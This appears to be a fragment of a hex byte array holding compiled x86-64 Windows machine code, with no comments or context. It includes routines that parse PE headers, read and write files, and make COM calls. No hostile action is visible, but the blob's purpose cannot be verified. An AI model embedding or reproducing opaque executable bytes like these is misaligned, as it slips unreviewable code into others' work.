0x5c, 0x1e, 0x00, 0x00, 0x48, 0x89, 0x45, 0xe8, 0x48, 0x8b, 0x45, 0xe8, 0x48, 0x89, 0xc1, 0xe8, + 0xac, 0xfe, 0xff, 0xff, 0x85, 0xc0, 0x75, 0x07, 0xb8, 0x00, 0x00, 0x00, 0x00, 0xeb, 0x76, 0x48, + 0x8b, 0x45, 0xe8, 0x8b, 0x40, 0x3c, 0x48, 0x63, 0xd0, 0x48, 0x8b, 0x45, 0xe8, 0x48, 0x01, 0xd0, + 0x48, 0x89, 0x45, 0xe0, 0xc7, 0x45, 0xf4, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x45, 0xe0, 0x0f, + 0xb7, 0x40, 0x14, 0x0f, 0xb7, 0xd0, 0x48, 0x8b, 0x45, 0xe0, 0x48, 0x01, 0xd0, 0x48, 0x83, 0xc0, + 0x18, 0x48, 0x89, 0x45, 0xf8, 0xeb, 0x29, 0x48, 0x8b, 0x45, 0xf8, 0x48, 0x8b, 0x55, 0x10, 0x41, + 0xb8, 0x08, 0x00, 0x00, 0x00, 0x48, 0x89, 0xc1, 0xe8, 0xbb, 0x04, 0x00, 0x00, 0x85, 0xc0, 0x75, + 0x06, 0x48, 0x8b, 0x45, 0xf8, 0xeb, 0x1e, 0x83, 0x45, 0xf4, 0x01, 0x48, 0x83, 0x45, 0xf8, 0x28, + 0x48, 0x8b, 0x45, 0xe0, 0x0f, 0xb7, 0x40, 0x06, 0x0f, 0xb7, 0xc0, 0x39, 0x45, 0xf4, 0x72, 0xc7, + 0xb8, 0x00, 0x00, 0x00, 0x00, 0x48, 0x83, 0xc4, 0x40, 0x5d, 0xc3, 0x55, 0x48, 0x89, 0xe5, 0x48, + 0x83, 0xec, 0x30, 0x48, 0x89, 0x4d, 0x10, 0x48, 0x8b, 0x05, 0xb2, 0x1d, 0x00, 0x00, 0x48, 0x89, + 0x45, 0xf8, 0x48, 0x8b, 0x45, 0xf8, 0x48, 0x89, 0xc1, 0xe8, 0x02, 0xfe, 0xff, 0xff, 0x85, 0xc0, + 0x75, 0x07, 0xb8, 0x00, 0x00, 0x00, 0x00, 0xeb, 0x1c, 0x48, 0x8b, 0x45, 0x10, 0x48, 0x2b, 0x45, + 0xf8, 0x48, 0x89, 0x45, 0xf0, 0x48, 0x8b, 0x55, 0xf0, 0x48, 0x8b, 0x45, 0xf8, 0x48, 0x89, 0xc1, + 0xe8, 0x57, 0xfe, 0xff, 0xff, 0x48, 0x83, 0xc4, 0x30, 0x5d, 0xc3, 0x55, 0x48, 0x89, 0xe5, 0x48, + 0x83, 0xec, 0x30, 0x48, 0x8b, 0x05, 0x66, 0x1d, 0x00, 0x00, 0x48, 0x89, 0x45, 0xf8, 0x48, 0x8b, + 0x45, 0xf8, 0x48, 0x89, 0xc1, 0xe8, 0xb6, 0xfd, 0xff, 0xff, 0x85, 0xc0, 0x75, 0x07, 0xb8, 0x00, + 0x00, 0x00, 0x00, 0xeb, 0x20, 0x48, 0x8b, 0x45, 0xf8, 0x8b, 0x40, 0x3c, 0x48, 0x63, 0xd0, 0x48, + 0x8b, 0x45, 0xf8, 0x48, 0x01, 0xd0, 0x48, 0x89, 0x45, 0xf0, 0x48, 0x8b, 0x45, 0xf0, 0x0f, 0xb7, + 0x40, 0x06, 0x0f, 0xb7, 0xc0, 0x48, 0x83, 0xc4, 0x30, 0x5d, 0xc3, 0x55, 0x48, 0x89, 0xe5, 0x48, + 0x83, 0xec, 0x40, 0x48, 0x89, 0x4d, 0x10, 0x48, 0x8b, 0x05, 0x12, 0x1d, 0x00, 0x00, 0x48, 0x89, + 0x45, 0xe8, 0x48, 0x8b, 0x45, 0xe8, 0x48, 0x89, 0xc1, 0xe8, 0x62, 0xfd, 0xff, 0xff, 0x85, 0xc0, + 0x75, 0x07, 0xb8, 0x00, 0x00, 0x00, 0x00, 0xeb, 0x78, 0x48, 0x8b, 0x45, 0xe8, 0x8b, 0x40, 0x3c, + 0x48, 0x63, 0xd0, 0x48, 0x8b, 0x45, 0xe8, 0x48, 0x01, 0xd0, 0x48, 0x89, 0x45, 0xe0, 0xc7, 0x45, + 0xf4, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x45, 0xe0, 0x0f, 0xb7, 0x40, 0x14, 0x0f, 0xb7, 0xd0, + 0x48, 0x8b, 0x45, 0xe0, 0x48, 0x01, 0xd0, 0x48, 0x83, 0xc0, 0x18, 0x48, 0x89, 0x45, 0xf8, 0xeb, + 0x2b, 0x48, 0x8b, 0x45, 0xf8, 0x8b, 0x40, 0x24, 0x25, 0x00, 0x00, 0x00, 0x20, 0x85, 0xc0, 0x74, + 0x12, 0x48, 0x83, 0x7d, 0x10, 0x00, 0x75, 0x06, 0x48, 0x8b, 0x45, 0xf8, 0xeb, 0x23, 0x48, 0x83, + 0x6d, 0x10, 0x01, 0x83, 0x45, 0xf4, 0x01, 0x48, 0x83, 0x45, 0xf8, 0x28, 0x48, 0x8b, 0x45, 0xe0, + 0x0f, 0xb7, 0x40, 0x06, 0x0f, 0xb7, 0xc0, 0x39, 0x45, 0xf4, 0x72, 0xc5, 0xb8, 0x00, 0x00, 0x00, + 0x00, 0x48, 0x83, 0xc4, 0x40, 0x5d, 0xc3, 0x55, 0x48, 0x89, 0xe5, 0x48, 0x83, 0xec, 0x30, 0x48, + 0x8b, 0x05, 0x6a, 0x1c, 0x00, 0x00, 0x48, 0x89, 0x45, 0xf8, 0x48, 0x8b, 0x45, 0xf8, 0x48, 0x89, + 0xc1, 0xe8, 0xba, 0xfc, 0xff, 0xff, 0x85, 0xc0, 0x75, 0x07, 0xb8, 0x00, 0x00, 0x00, 0x00, 0xeb, + 0x04, 0x48, 0x8b, 0x45, 0xf8, 0x48, 0x83, 0xc4, 0x30, 0x5d, 0xc3, 0x55, 0x48, 0x89, 0xe5, 0x48, + 0x83, 0xec, 0x40, 0x48, 0x89, 0x4d, 0x10, 0x48, 0x8b, 0x05, 0x32, 0x1c, 0x00, 0x00, 0x48, 0x89, + 0x45, 0xf8, 0x48, 0x8b, 0x45, 0xf8, 0x48, 0x89, 0xc1, 0xe8, 0x82, 0xfc, 0xff, 0xff, 0x85, 0xc0, + 0x75, 0x07, 0xb8, 0x00, 0x00, 0x00, 0x00, 0xeb, 0x3d, 0x48, 0x8b, 0x45, 0x10, 0x48, 0x2b, 0x45, + 0xf8, 0x48, 0x89, 0x45, 0xf0, 0x48, 0x8b, 0x55, 0xf0, 0x48, 0x8b, 0x45, 0xf8, 0x48, 0x89, 0xc1, + 0xe8, 0xd7, 0xfc, 0xff, 0xff, 0x48, 0x89, 0x45, 0xe8, 0x48, 0x83, 0x7d, 0xe8, 0x00, 0x75, 0x07, + 0xb8, 0x00, 0x00, 0x00, 0x00, 0xeb, 0x0f, 0x48, 0x8b, 0x45, 0xe8, 0x8b, 0x40, 0x24, 0xf7, 0xd0, + 0xc1, 0xe8, 0x1f, 0x0f, 0xb6, 0xc0, 0x48, 0x83, 0xc4, 0x40, 0x5d, 0xc3, 0x55, 0x48, 0x89, 0xe5, + 0x48, 0x83, 0xec, 0x50, 0x89, 0x4d, 0x10, 0x48, 0x8b, 0x05, 0xc2, 0x1b, 0x00, 0x00, 0x48, 0x89, + 0x45, 0xf0, 0x48, 0x8b, 0x45, 0xf0, 0x48, 0x89, 0xc1, 0xe8, 0x12, 0xfc, 0xff, 0xff, 0x85, 0xc0, + 0x75, 0x0a, 0xb8, 0x00, 0x00, 0x00, 0x00, 0xe9, 0xab, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x45, 0xf0, + 0x8b, 0x40, 0x3c, 0x48, 0x63, 0xd0, 0x48, 0x8b, 0x45, 0xf0, 0x48, 0x01, 0xd0, 0x48, 0x89, 0x45, + 0xe8, 0x48, 0x8b, 0x45, 0xe8, 0x8b, 0x80, 0x90, 0x00, 0x00, 0x00, 0x89, 0x45, 0xe4, 0x83, 0x7d, + 0xe4, 0x00, 0x75, 0x07, 0xb8, 0x00, 0x00, 0x00, 0x00, 0xeb, 0x7c, 0x8b, 0x55, 0xe4, 0x48, 0x8b, + 0x45, 0xf0, 0x48, 0x89, 0xc1, 0xe8, 0x42, 0xfc, 0xff, 0xff, 0x48, 0x89, 0x45, 0xd8, 0x48, 0x83, + 0x7d, 0xd8, 0x00, 0x75, 0x07, 0xb8, 0x00, 0x00, 0x00, 0x00, 0xeb, 0x5b, 0x8b, 0x55, 0xe4, 0x48, + 0x8b, 0x45, 0xf0, 0x48, 0x01, 0xd0, 0x48, 0x89, 0x45, 0xf8, 0x48, 0x83, 0x7d, 0xf8, 0x00, 0x75, + 0x07, 0xb8, 0x00, 0x00, 0x00, 0x00, 0xeb, 0x3f, 0x48, 0x8b, 0x45, 0xf8, 0x8b, 0x40, 0x04, 0x85, + 0xc0, 0x75, 0x0b, 0x48, 0x8b, 0x45, 0xf8, 0x8b, 0x40, 0x0c, 0x85, 0xc0, 0x74, 0x23, 0x83, 0x7d, + 0x10, 0x00, 0x7f, 0x12, 0x48, 0x8b, 0x45, 0xf8, 0x8b, 0x40, 0x0c, 0x89, 0xc2, 0x48, 0x8b, 0x45, + 0xf0, 0x48, 0x01, 0xd0, 0xeb, 0x11, 0x83, 0x6d, 0x10, 0x01, 0x48, 0x83, 0x45, 0xf8, 0x14, 0xeb, + 0xc7, 0x90, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x48, 0x83, 0xc4, 0x50, 0x5d, 0xc3, 0x90, 0x90, 0x90, + 0x51, 0x50, 0x48, 0x3d, 0x00, 0x10, 0x00, 0x00, 0x48, 0x8d, 0x4c, 0x24, 0x18, 0x72, 0x19, 0x48, + 0x81, 0xe9, 0x00, 0x10, 0x00, 0x00, 0x48, 0x83, 0x09, 0x00, 0x48, 0x2d, 0x00, 0x10, 0x00, 0x00, + 0x48, 0x3d, 0x00, 0x10, 0x00, 0x00, 0x77, 0xe7, 0x48, 0x29, 0xc1, 0x48, 0x83, 0x09, 0x00, 0x58, + 0x59, 0xc3, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, + 0x55, 0x48, 0x89, 0xe5, 0x48, 0x83, 0xec, 0x30, 0x48, 0x89, 0x4d, 0x10, 0x48, 0x89, 0x55, 0x18, + 0x4c, 0x89, 0x45, 0x20, 0xe8, 0x07, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x00, 0x4c, 0x8b, 0x45, 0x18, + 0x48, 0x8b, 0x55, 0x10, 0x48, 0x8b, 0x4d, 0x20, 0x48, 0x89, 0x4c, 0x24, 0x20, 0x41, 0xb9, 0x00, + 0x00, 0x00, 0x00, 0x48, 0x89, 0xc1, 0xe8, 0x4d, 0x01, 0x00, 0x00, 0x48, 0x83, 0xc4, 0x30, 0x5d, + 0xc3, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, + 0x55, 0x53, 0x48, 0x83, 0xec, 0x48, 0x48, 0x8d, 0x6c, 0x24, 0x40, 0x48, 0x89, 0x4d, 0x20, 0x48, + 0x89, 0x55, 0x28, 0x4c, 0x89, 0x45, 0x30, 0x4c, 0x89, 0x4d, 0x38, 0x48, 0x8d, 0x45, 0x38, 0x48, + 0x89, 0x45, 0xf0, 0x48, 0x8b, 0x5d, 0xf0, 0xe8, 0xa4, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x00, 0x48, + 0x83, 0xc8, 0x02, 0x48, 0x89, 0xc1, 0x4c, 0x8b, 0x45, 0x30, 0x48, 0x8b, 0x55, 0x28, 0x48, 0x8b, + 0x45, 0x20, 0x48, 0x89, 0x5c, 0x24, 0x28, 0x48, 0xc7, 0x44, 0x24, 0x20, 0x00, 0x00, 0x00, 0x00, + 0x4d, 0x89, 0xc1, 0x49, 0x89, 0xd0, 0x48, 0x89, 0xc2, 0xe8, 0xe2, 0x00, 0x00, 0x00, 0x89, 0x45, + 0xfc, 0x8b, 0x45, 0xfc, 0x48, 0x83, 0xc4, 0x48, 0x5b, 0x5d, 0xc3, 0x90, 0x90, 0x90, 0x90, 0x90, + 0x55, 0x53, 0x48, 0x83, 0xec, 0x48, 0x48, 0x8d, 0x6c, 0x24, 0x40, 0x48, 0x89, 0x4d, 0x20, 0x48, + 0x89, 0x55, 0x28, 0x4c, 0x89, 0x45, 0x30, 0x4c, 0x89, 0x4d, 0x38, 0x48, 0x8d, 0x45, 0x30, 0x48, + 0x89, 0x45, 0xf0, 0x48, 0x8b, 0x5d, 0xf0, 0xe8, 0x34, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x00, 0x48, + 0x8b, 0x4d, 0x28, 0x48, 0x8b, 0x55, 0x20, 0x48, 0x89, 0x5c, 0x24, 0x20, 0x41, 0xb9, 0x00, 0x00, + 0x00, 0x00, 0x49, 0x89, 0xc8, 0x48, 0x89, 0xc1, 0xe8, 0x7b, 0x00, 0x00, 0x00, 0x89, 0x45, 0xfc, + 0x8b, 0x45, 0xfc, 0x48, 0x83, 0xc4, 0x48, 0x5b, 0x5d, 0xc3, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, + 0x55, 0x48, 0x89, 0xe5, 0x48, 0x8d, 0x05, 0x65, 0x07, 0x00, 0x00, 0x5d, 0xc3, 0x90, 0x90, 0x90, + 0x55, 0x48, 0x89, 0xe5, 0x48, 0x83, 0xec, 0x20, 0x89, 0x4d, 0x10, 0xb9, 0x02, 0x00, 0x00, 0x00, + 0xe8, 0x3b, 0x00, 0x00, 0x00, 0x48, 0x89, 0xc1, 0x8b, 0x55, 0x10, 0x48, 0x8d, 0x05, 0x1e, 0x19, + 0x00, 0x00, 0x41, 0x89, 0xd0, 0x48, 0x89, 0xc2, 0xe8, 0x63, 0xff, 0xff, 0xff, 0xb9, 0xff, 0x00, + 0x00, 0x00, 0xe8, 0x39, 0x00, 0x00, 0x00, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, + 0xff, 0x25, 0xa2, 0x7a, 0x00, 0x00, 0x90, 0x90, 0xff, 0x25, 0xa2, 0x7a, 0x00, 0x00, 0x90, 0x90, + 0xff, 0x25, 0x72, 0x7a, 0x00, 0x00, 0x90, 0x90, 0xff, 0x25, 0x72, 0x7a, 0x00, 0x00, 0x90, 0x90, + 0xff, 0x25, 0x72, 0x7a, 0x00, 0x00, 0x90, 0x90, 0xff, 0x25, 0x1a, 0x7a, 0x00, 0x00, 0x90, 0x90, + 0xff, 0x25, 0x1a, 0x7a, 0x00, 0x00, 0x90, 0x90, 0xff, 0x25, 0x1a, 0x7a, 0x00, 0x00, 0x90, 0x90, + 0xff, 0x25, 0x1a, 0x7a, 0x00, 0x00, 0x90, 0x90, 0xff, 0x25, 0x1a, 0x7a, 0x00, 0x00, 0x90, 0x90, + 0xff, 0x25, 0x1a, 0x7a, 0x00, 0x00, 0x90, 0x90, 0xff, 0x25, 0x1a, 0x7a, 0x00, 0x00, 0x90, 0x90, + 0xff, 0x25, 0xd2, 0x79, 0x00, 0x00, 0x90, 0x90, 0xff, 0x25, 0xb2, 0x79, 0x00, 0x00, 0x90, 0x90, + 0xff, 0x25, 0xb2, 0x79, 0x00, 0x00, 0x90, 0x90, 0x0f, 0x1f, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xff, 0xca, 0x75, 0x35, 0x48, 0x83, 0xec, 0x38, 0xff, 0x15, 0xe2, 0x78, 0x00, 0x00, 0x31, 0xc0, + 0x31, 0xd2, 0x45, 0x31, 0xc9, 0x89, 0x54, 0x24, 0x20, 0x4c, 0x8d, 0x05, 0x20, 0x00, 0x00, 0x00, + 0x31, 0xd2, 0x31, 0xc9, 0x48, 0x89, 0x44, 0x24, 0x28, 0xff, 0x15, 0xb1, 0x78, 0x00, 0x00, 0xb8, + 0x01, 0x00, 0x00, 0x00, 0x48, 0x83, 0xc4, 0x38, 0xc3, 0xb8, 0x01, 0x00, 0x00, 0x00, 0xc3, 0x90, + 0x41, 0x57, 0xb9, 0x04, 0x01, 0x00, 0x00, 0x41, 0x56, 0x41, 0x55, 0x41, 0x54, 0x55, 0x57, 0x56, + 0x53, 0x48, 0x81, 0xec, 0xa8, 0x03, 0x00, 0x00, 0x48, 0x8d, 0x94, 0x24, 0x94, 0x00, 0x00, 0x00, + 0x4c, 0x8d, 0xa4, 0x24, 0x9c, 0x02, 0x00, 0x00, 0xff, 0x15, 0xba, 0x78, 0x00, 0x00, 0x4c, 0x8d, + 0x8c, 0x24, 0x94, 0x00, 0x00, 0x00, 0x4c, 0x8d, 0x05, 0x33, 0x16, 0x00, 0x00, 0xba, 0x04, 0x01, + 0x00, 0x00, 0x48, 0x8d, 0x8c, 0x24, 0x98, 0x01, 0x00, 0x00, 0xe8, 0xd1, 0xfd, 0xff, 0xff, 0x4c, + 0x8d, 0x8c, 0x24, 0x94, 0x00, 0x00, 0x00, 0xba, 0x04, 0x01, 0x00, 0x00, 0x4c, 0x89, 0xe1, 0x4c, + 0x8d, 0x05, 0x16, 0x16, 0x00, 0x00, 0xe8, 0xb5, 0xfd, 0xff, 0xff, 0x45, 0x31, 0xc0, 0x45, 0x31, + 0xc9, 0xba, 0x00, 0x00, 0x00, 0x80, 0x48, 0x8b, 0x05, 0x1b, 0x78, 0x00, 0x00, 0x4c, 0x89, 0x44, + 0x24, 0x30, 0x48, 0x8d, 0x8c, 0x24, 0x98, 0x01, 0x00, 0x00, 0x41, 0xb8, 0x01, 0x00, 0x00, 0x00, + 0x44, 0x89, 0x4c, 0x24, 0x28, 0x45, 0x31, 0xc9, 0xc7, 0x44, 0x24, 0x20, 0x03, 0x00, 0x00, 0x00, + 0x48, 0x89, 0x44, 0x24, 0x48, 0xff, 0xd0, 0x48, 0x83, 0xf8, 0xff, 0x0f, 0x84, 0x6e, 0x03, 0x00, + 0x00, 0x31, 0xc9, 0x48, 0x89, 0xc3, 0x48, 0x8d, 0x44, 0x24, 0x64, 0x41, 0xb8, 0x05, 0x00, 0x00, + 0x00, 0x48, 0x89, 0x4c, 0x24, 0x20, 0x48, 0x8d, 0x54, 0x24, 0x7b, 0x49, 0x89, 0xc1, 0x48, 0x89, + 0xd9, 0x48, 0x89, 0x44, 0x24, 0x50, 0x4c, 0x8b, 0x3d, 0x43, 0x78, 0x00, 0x00, 0x41, 0xff, 0xd7, + 0x48, 0x8b, 0x2d, 0xa9, 0x77, 0x00, 0x00, 0x85, 0xc0, 0x74, 0x7d, 0x83, 0x7c, 0x24, 0x64, 0x04, + 0x76, 0x76, 0x0f, 0xb6, 0x74, 0x24, 0x7b, 0x44, 0x8b, 0x6c, 0x24, 0x7c, 0x31, 0xc0, 0x83, 0xfe, + 0x03, 0x48, 0x0f, 0x4d, 0xf0, 0x41, 0x8d, 0x45, 0xff, 0x3d, 0xff, 0xff, 0x00, 0x00, 0x77, 0x58, + 0x4c, 0x8b, 0x35, 0xc9, 0x77, 0x00, 0x00, 0x41, 0xff, 0xd6, 0x45, 0x89, 0xe8, 0x31, 0xd2, 0x48, + 0x89, 0xc1, 0xff, 0x15, 0xc8, 0x77, 0x00, 0x00, 0x48, 0x89, 0xc7, 0x48, 0x85, 0xc0, 0x74, 0x38, + 0x31, 0xc0, 0x4c, 0x8b, 0x4c, 0x24, 0x50, 0x45, 0x89, 0xe8, 0x48, 0x89, 0xfa, 0x48, 0x89, 0x44, + 0x24, 0x20, 0x48, 0x89, 0xd9, 0x41, 0xff, 0xd7, 0x4c, 0x8b, 0x3d, 0xa9, 0x77, 0x00, 0x00, 0x85, + 0xc0, 0x74, 0x07, 0x44, 0x39, 0x6c, 0x24, 0x64, 0x73, 0x18, 0x41, 0xff, 0xd6, 0x49, 0x89, 0xf8, + 0x31, 0xd2, 0x48, 0x89, 0xc1, 0x41, 0xff, 0xd7, 0x48, 0x89, 0xd9, 0xff, 0xd5, 0xe9, 0xad, 0x02, + 0x00, 0x00, 0x48, 0x89, 0xd9, 0xff, 0xd5, 0xba, 0x02, 0x00, 0x00, 0x00, 0x31, 0xc9, 0xff, 0x15, + 0x84, 0x78, 0x00, 0x00, 0x89, 0xc3, 0x85, 0xc0, 0x79, 0x24, 0x3d, 0x06, 0x01, 0x01, 0x80, 0x74, + 0x1d, 0x4c, 0x89, 0xe1, 0x89, 0xc2, 0xe8, 0xd5, 0x02, 0x00, 0x00, 0x41, 0xff, 0xd6, 0x49, 0x89, + 0xf8, 0x31, 0xd2, 0x48, 0x89, 0xc1, 0x41, 0xff, 0xd7, 0xe9, 0x71, 0x02, 0x00, 0x00, 0x49, 0x89, + 0xf6, 0x31, 0xc0, 0x48, 0x8d, 0x0d, 0x86, 0x17, 0x00, 0x00, 0x31, 0xd2, 0x49, 0xc1, 0xe6, 0x04, + 0x4c, 0x8d, 0x94, 0x24, 0x80, 0x00, 0x00, 0x00, 0x48, 0x89, 0x84, 0x24, 0x80, 0x00, 0x00, 0x00, + 0x48, 0x8d, 0x05, 0x09, 0x18, 0x00, 0x00, 0x4c, 0x01, 0xf1, 0x4c, 0x89, 0x54, 0x24, 0x20, 0x4e, + 0x8d, 0x0c, 0x30, 0x4c, 0x8b, 0x3d, 0x16, 0x78, 0x00, 0x00, 0x4c, 0x89, 0x54, 0x24, 0x58, 0x41, + 0xb8, 0x04, 0x00, 0x00, 0x00, 0x48, 0x89, 0x4c, 0x24, 0x50, 0x41, 0xff, 0xd7, 0x48, 0x8b, 0x4c, + 0x24, 0x50, 0x4c, 0x8b, 0x54, 0x24, 0x58, 0x85, 0xc0, 0x79, 0x1f, 0x48, 0x8d, 0x05, 0x8e, 0x17, + 0x00, 0x00, 0x31, 0xd2, 0x4c, 0x89, 0x54, 0x24, 0x20, 0x41, 0xb8, 0x04, 0x00, 0x00, 0x00, 0x4e, + 0x8d, 0x0c, 0x30, 0x41, 0xff, 0xd7, 0x85, 0xc0, 0x78, 0x0d, 0x48, 0x8b, 0x8c, 0x24, 0x80, 0x00, + 0x00, 0x00, 0x48, 0x85, 0xc9, 0x75, 0x31, 0x89, 0xc2, 0x4c, 0x89, 0xe1, 0xe8, 0x2f, 0x02, 0x00, + 0x00, 0xff, 0x15, 0x99, 0x76, 0x00, 0x00, 0x49, 0x89, 0xf8, 0x31, 0xd2, 0x48, 0x89, 0xc1, 0xff, + 0x15, 0xa3, 0x76, 0x00, 0x00, 0x85, 0xdb, 0x0f, 0x88, 0xc2, 0x01, 0x00, 0x00, 0xff, 0x15, 0xb5, + 0x77, 0x00, 0x00, 0xe9, 0xb7, 0x01, 0x00, 0x00, 0x31, 0xc0, 0x45, 0x31, 0xc9, 0x41, 0xb8, 0xff, + 0xff, 0xff, 0xff, 0xba, 0xff, 0xff, 0xff, 0xff, 0xc7, 0x44, 0x24, 0x38, 0x40, 0x00, 0x00, 0x00, + 0x48, 0x89, 0x44, 0x24, 0x30, 0xc7, 0x44, 0x24, 0x28, 0x03, 0x00, 0x00, 0x00, 0xc7, 0x44, 0x24, + 0x20, 0x06, 0x00, 0x00, 0x00, 0xff, 0x15, 0x75, 0x77, 0x00, 0x00, 0x44, 0x89, 0xea, 0x48, 0x89, + 0xf9, 0xff, 0x15, 0x81, 0x77, 0x00, 0x00, 0x49, 0x89, 0xc5, 0xff, 0x15, 0x30, 0x76, 0x00, 0x00, + 0x31, 0xd2, 0x49, 0x89, 0xf8, 0x48, 0x89, 0xc1, 0xff, 0x15, 0x3a, 0x76, 0x00, 0x00, 0x4d, 0x85, + 0xed, 0x75, 0x20, 0x4c, 0x89, 0xe1, 0xba, 0x0e, 0x00, 0x07, 0x80, 0xe8, 0xa0, 0x01, 0x00, 0x00, + 0x48, 0x8b, 0x8c, 0x24, 0x80, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x01, 0xff, 0x50, 0x10, 0xe9, 0x72, + 0xff, 0xff, 0xff, 0x45, 0x31, 0xd2, 0x48, 0x8d, 0x05, 0x93, 0x16, 0x00, 0x00, 0x45, 0x31, 0xdb, + 0x4c, 0x89, 0xea, 0x48, 0x8b, 0x8c, 0x24, 0x80, 0x00, 0x00, 0x00, 0x4c, 0x89, 0x94, 0x24, 0x88, + 0x00, 0x00, 0x00, 0x4c, 0x8d, 0x4c, 0x24, 0x68, 0x45, 0x31, 0xff, 0x48, 0x63, 0x04, 0xb0, 0x44, + 0x89, 0x5c, 0x24, 0x68, 0x31, 0xf6, 0x4c, 0x8d, 0x84, 0x24, 0x88, 0x00, 0x00, 0x00, 0x48, 0x8b, + 0x39, 0xff, 0x14, 0xc7, 0x4c, 0x89, 0xe9, 0x4c, 0x8b, 0x2d, 0x02, 0x77, 0x00, 0x00, 0x41, 0x89, + 0xc6, 0x41, 0xff, 0xd5, 0x48, 0x89, 0x74, 0x24, 0x30, 0x45, 0x31, 0xc9, 0x45, 0x31, 0xc0, 0x44, + 0x89, 0x7c, 0x24, 0x28, 0xba, 0x00, 0x00, 0x00, 0x40, 0x4c, 0x89, 0xe1, 0xc7, 0x44, 0x24, 0x20, + 0x02, 0x00, 0x00, 0x00, 0xff, 0x54, 0x24, 0x48, 0x48, 0x89, 0xc6, 0x48, 0x83, 0xf8, 0xff, 0x0f, + 0x84, 0x9a, 0x00, 0x00, 0x00, 0x45, 0x85, 0xf6, 0x0f, 0x88, 0x81, 0x00, 0x00, 0x00, 0x48, 0x8b, + 0x8c, 0x24, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc9, 0x74, 0x74, 0xff, 0x15, 0xb7, 0x76, 0x00, + 0x00, 0x31, 0xc9, 0x48, 0x8d, 0x54, 0x24, 0x74, 0x4c, 0x8b, 0x25, 0xc1, 0x75, 0x00, 0x00, 0x89, + 0x44, 0x24, 0x70, 0x31, 0xc0, 0x4c, 0x8d, 0x4c, 0x24, 0x6c, 0x41, 0xb8, 0x04, 0x00, 0x00, 0x00, + 0x48, 0x89, 0x4c, 0x24, 0x20, 0x48, 0x89, 0xf1, 0x89, 0x44, 0x24, 0x74, 0x41, 0xff, 0xd4, 0x45, + 0x31, 0xc0, 0x48, 0x8d, 0x54, 0x24, 0x70, 0x4c, 0x8d, 0x4c, 0x24, 0x6c, 0x4c, 0x89, 0x44, 0x24, + 0x20, 0x48, 0x89, 0xf1, 0x41, 0xb8, 0x04, 0x00, 0x00, 0x00, 0x41, 0xff, 0xd4, 0x45, 0x31, 0xc9, + 0x44, 0x8b, 0x44, 0x24, 0x70, 0x48, 0x89, 0xf1, 0x4c, 0x89, 0x4c, 0x24, 0x20, 0x48, 0x8b, 0x94, + 0x24, 0x88, 0x00, 0x00, 0x00, 0x4c, 0x8d, 0x4c, 0x24, 0x6c, 0x41, 0xff, 0xd4, 0xeb, 0x0b, 0x44, + 0x89, 0xf2, 0x4c, 0x89, 0xe1, 0xe8, 0x76, 0x00, 0x00, 0x00, 0x48, 0x89, 0xf1, 0xff, 0xd5, 0x48, + 0x8b, 0x8c, 0x24, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc9, 0x74, 0x03, 0x41, 0xff, 0xd5, 0x48, + 0x8b, 0x8c, 0x24, 0x80, 0x00, 0x00, 0x00, 0xff, 0x57, 0x10, 0xe9, 0x36, 0xfe, 0xff, 0xff, 0x4c, + 0x8d, 0x05, 0x63, 0x12, 0x00, 0x00, 0x31, 0xd2, 0xb9, 0x02, 0x00, 0x00, 0x00, 0xff, 0x15, 0xe5, + 0x74, 0x00, 0x00, 0x48, 0x89, 0xc3, 0x48, 0x85, 0xc0, 0x74, 0x12, 0x48, 0x89, 0xc1, 0xff, 0x15, + 0xe4, 0x74, 0x00, 0x00, 0x48, 0x89, 0xd9, 0xff, 0x15, 0x43, 0x74, 0x00, 0x00, 0x48, 0x81, 0xc4, + 0xa8, 0x03, 0x00, 0x00, 0x31, 0xc0, 0x5b, 0x5e, 0x5f, 0x5d, 0x41, 0x5c, 0x41, 0x5d, 0x41, 0x5e, + 0x41, 0x5f, 0xc3, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, + 0x57, 0x45, 0x31, 0xc9, 0x45, 0x31, 0xd2, 0x45, 0x31, 0xc0, 0x56, 0x89, 0xd6, 0xba, 0x00, 0x00, + 0x00, 0x40, 0x53, 0x48, 0x83, 0xec, 0x50, 0x4c, 0x89, 0x4c, 0x24, 0x30, 0x45, 0x31, 0xc9, 0x44, + 0x89, 0x54, 0x24, 0x28, 0xc7, 0x44, 0x24, 0x20, 0x02, 0x00, 0x00, 0x00, 0xff, 0x15, 0xf6, 0x73, + 0x00, 0x00, 0x48, 0x83, 0xf8, 0xff, 0x74, 0x56, 0x48, 0x89, 0xc3, 0x31, 0xc9, 0x31, 0xc0, 0x89, + 0x74, 0x24, 0x44, 0x48, 0x89, 0x4c, 0x24, 0x20, 0x48, 0x8b, 0x35, 0x91, 0x74, 0x00, 0x00, 0x48, + 0x89, 0xd9, 0x48, 0x8d, 0x54, 0x24, 0x44, 0x4c, 0x8d, 0x4c, 0x24, 0x4c, 0x41, 0xb8, 0x04, 0x00, + 0x00, 0x00, 0x89, 0x44, 0x24, 0x48, 0xff, 0xd6, 0x45, 0x31, 0xc0, 0x48, 0x89, 0xd9, 0x48, 0x8d, + 0x54, 0x24, 0x48, 0x4c, 0x89, 0x44, 0x24, 0x20, 0x4c, 0x8d, 0x4c, 0x24, 0x4c, 0x41, 0xb8, 0x04, + 0x00, 0x00, 0x00, 0xff, 0xd6, 0x48, 0x89, 0xd9, 0xff, 0x15, 0x92, 0x73, 0x00, 0x00, 0x48, 0x83, + 0xc4, 0x50, 0x5b, 0x5e, 0x5f, 0xc3, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 